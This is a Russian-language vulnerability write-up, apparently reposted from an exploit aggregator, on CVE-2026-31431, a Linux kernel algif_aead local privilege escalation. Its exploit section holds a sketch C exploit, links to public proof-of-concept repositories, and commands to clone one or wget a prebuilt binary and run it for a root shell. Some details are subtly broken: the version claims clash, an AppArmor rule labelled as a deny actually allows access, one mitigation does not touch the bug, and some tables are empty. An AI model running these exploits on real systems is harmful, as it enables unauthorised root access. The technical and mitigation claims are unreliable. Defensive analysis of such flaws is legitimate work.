## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALVAROGUZMANCODE-CVE-2026-31431-MITIGACION
# CVE-2026-31431 — Полный технический анализ
> **Классификация:** локальное повышение привилегий (LPE) — ядро Linux
> **CVSS:** 7.8 (высокий)
> **Воздействие:** `непривилегированный пользователь → root`
> **Затронутый модуль:** `algif_aead` (подсистема AF_ALG ядра)
* * *
## Содержание
1. Почему это уязвимо?
2. Какие версии затронуты?
3. Как эксплуатируется
4. Как смягчить
* * *
## 1\. Почему это уязвимо?
### Подсистема AF_ALG
Ядро Linux предоставляет интерфейс криптографии пользовательскому пространству под названием **AF_ALG** (сокет семейства `AF_ALG`). Этот интерфейс позволяет непривилегированным процессам использовать криптографические ускорители ядра — шифрование, хеширование, генерацию ключей — без необходимости в root.
Один из его модулей — **`algif_aead`** , который реализует режим AEAD (_Authenticated Encryption with Associated Data_), используемый такими алгоритмами, как AES-GCM или ChaCha20-Poly1305.
### Корневая причина
Ошибка заключается в том, как `algif_aead` обрабатывает операции **`sendmsg()` \+ `recvmsg()`**, когда выходной буфер меньше ожидаемого. Ядро выполняет операцию копирования (`copy_to_user`) без корректной проверки размера, что приводит к:
root@kitploit:~
Переполнение буфера → запись за пределы памяти ядра
Технически:
root@kitploit:~
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy в адрес, частично контролируемый пользователем
Эта запись за пределы границ позволяет перезаписать соседние управляющие структуры ядра в памяти — в частности, указатели на функции или структуры `cred` — для повышения привилегий.
### Почему для эксплуатации не требуется root?
Потому что `AF_ALG` доступен непривилегированным пользователям. Любой процесс может открыть сокет `AF_ALG` и отправлять данные без предварительной аутентификации. Эксплойту не нужна никакая вспомогательная уязвимость.
root@kitploit:~
// Это может сделать любой пользователь системы
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
* * *
## 2\. Какие версии затронуты?
### Уязвимые ядра
Версия ядра| Затронута?
---|---
< 5.10| Нет (модуль не существовал в таком виде)
5.10 — 6.1.x| Да ⚠️
6.2.x| Да ⚠️ (включая ядро из PoC)
6.3+ с применённым патчем| Нет ✅
### Наиболее подверженные дистрибутивы
### Как проверить своё ядро
root@kitploit:~
# Проверить версию ядра
uname -r
# Проверить, загружен ли уязвимый модуль
lsmod | grep algif_aead
# Проверить доступность AF_ALG
cat /proc/net/protocols | grep ALG
#### Пример уязвимого вывода
root@kitploit:~
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
> ⚠️ Если вы видите `algif_aead` в `lsmod` и ваше ядро `6.2.x` на Ubuntu 23.04, **вы подвержены риску**.
* * *
## 3\. Как эксплуатируется
> ⚠️ **Этическое предупреждение:** этот раздел носит исключительно образовательный характер. Эксплуатация систем без явного разрешения незаконна и наказуема. Примеры предназначены для контролируемых лабораторных сред.
### Поток эксплойта
root@kitploit:~
1. Открыть сокет AF_ALG (algif_aead)
2. Отправить sendmsg() с буфером завышенного размера
3. recvmsg() с меньшим буфером → триггер ошибки
4. Запись за пределы границ в heap ядра
5. Перезаписать cred->uid/gid на 0
6. execve("/bin/sh") → root-шелл
### Концептуальный минимальный эксплойт (C)
root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Настроить 16-байтовый ключ
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Большой буфер → триггер записи за пределы границ
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... построение msghdr с cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg с недостаточным буфером → ядро пишет за пределы границ
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Если эксплойт сработал, теперь мы root
if (getuid() == 0) {
printf("[+] Root получен!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
> Это упрощённая схема. Настоящий эксплойт требует дополнительных примитивов формирования heap для выравнивания записи за пределы границ со структурой `task_struct->cred`.
### Известные публичные PoC
Следующие репозитории содержат задокументированные рабочие реализации:
* **copy-fail-c** — эксплойт на чистом C, требует компиляции
`https://github.com/tgies/copy-fail-c`
* **copy-fail-tiny-elf** — автономный ELF-бинарник, не требует компиляции
`https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`
#### Типичное использование (лаборатория)
root@kitploit:~
# Клонировать и скомпилировать copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Ожидаемый результат на уязвимой системе:
# [*] Проверка модуля algif_aead...
# [*] Подготовка heap spray...
# [+] Запись за пределы границ успешна
# [+] UID теперь: 0
# # whoami
# root
#### С ELF-бинарником (без компиляции)
root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
### Реальный сценарий атаки
root@kitploit:~
Внешний злоумышленник
│
▼
Эксплуатирует веб-уязвимость (RCE) → доступ как www-data
│
▼
Загружает copyfail на сервер (wget/curl)
│
▼
Запускает ./copyfail
│
▼
Root-шелл на сервере ✓
Расчётное время от доступа `www-data` до root: **< 30 секунд**.
* * *
## 4\. Как смягчить
### Окончательное решение — обновление системы
Единственное реальное решение — ядро с применённым патчем.
root@kitploit:~
# Вариант 1: обновление до Ubuntu 24.04 LTS (рекомендуется)
do-release-upgrade
# Вариант 2: если у вас уже Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Проверить исправленное ядро
uname -r # должно быть ≥ 5.15.0-107 на Ubuntu 22.04
* * *
### Немедленное смягчение — отключение уязвимого модуля
Если вы не можете обновиться прямо сейчас, отключите `algif_aead`:
root@kitploit:~
# Создать blacklist модуля
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Перегенерировать initramfs для постоянства
sudo update-initramfs -u
# Перезагрузиться
sudo reboot
Проверить, что модуль отключён:
root@kitploit:~
lsmod | grep algif_aead
# Ничего не должно появиться
> ⚠️ Это может сломать программное обеспечение, использующее AEAD-шифрование через AF_ALG (редко встречается на стандартных веб-серверах).
* * *
### Смягчение с помощью sysctl — ограничение пользовательских namespace
root@kitploit:~
# Отключить непривилегированные user namespaces (ломает некоторые функции Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Сделать постоянным
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
* * *
### Смягчение с помощью AppArmor — блокировка AF_ALG
Создать профиль AppArmor, запрещающий доступ к `AF_ALG`:
root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # запретить в конкретных профилях
Для веб-процесса (пример nginx/www-data):
root@kitploit:~
# Добавить в профиль AppArmor для www-data или nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
* * *
### Снижение воздействия — усиление защиты www-data
Хотя это не предотвращает повышение привилегий, это уменьшает начальную поверхность атаки:
root@kitploit:~
# Проверить, что у www-data нет sudo
sudo grep www-data /etc/sudoers
# Удалить ненужные SUID-бинарники
find / -perm -4000 2>/dev/null
# Ограничить доступные каталоги
chmod 700 /root
chmod 750 /home/*
* * *
### Сводная таблица мер смягчения
* * *
## Ссылки
* NVD: `https://nvd.nist.gov/vuln/detail/CVE-2026-31431`
* Коммит ядра с исправлением: подсистема `crypto/algif_aead.c`
* PoC: `https://github.com/tgies/copy-fail-c`
* PoC ELF: `https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`
* Соответствующее уведомление безопасности Ubuntu: USN-XXXX-1
* * *
> **Документ подготовлен в академических целях** — системный администратор, 2026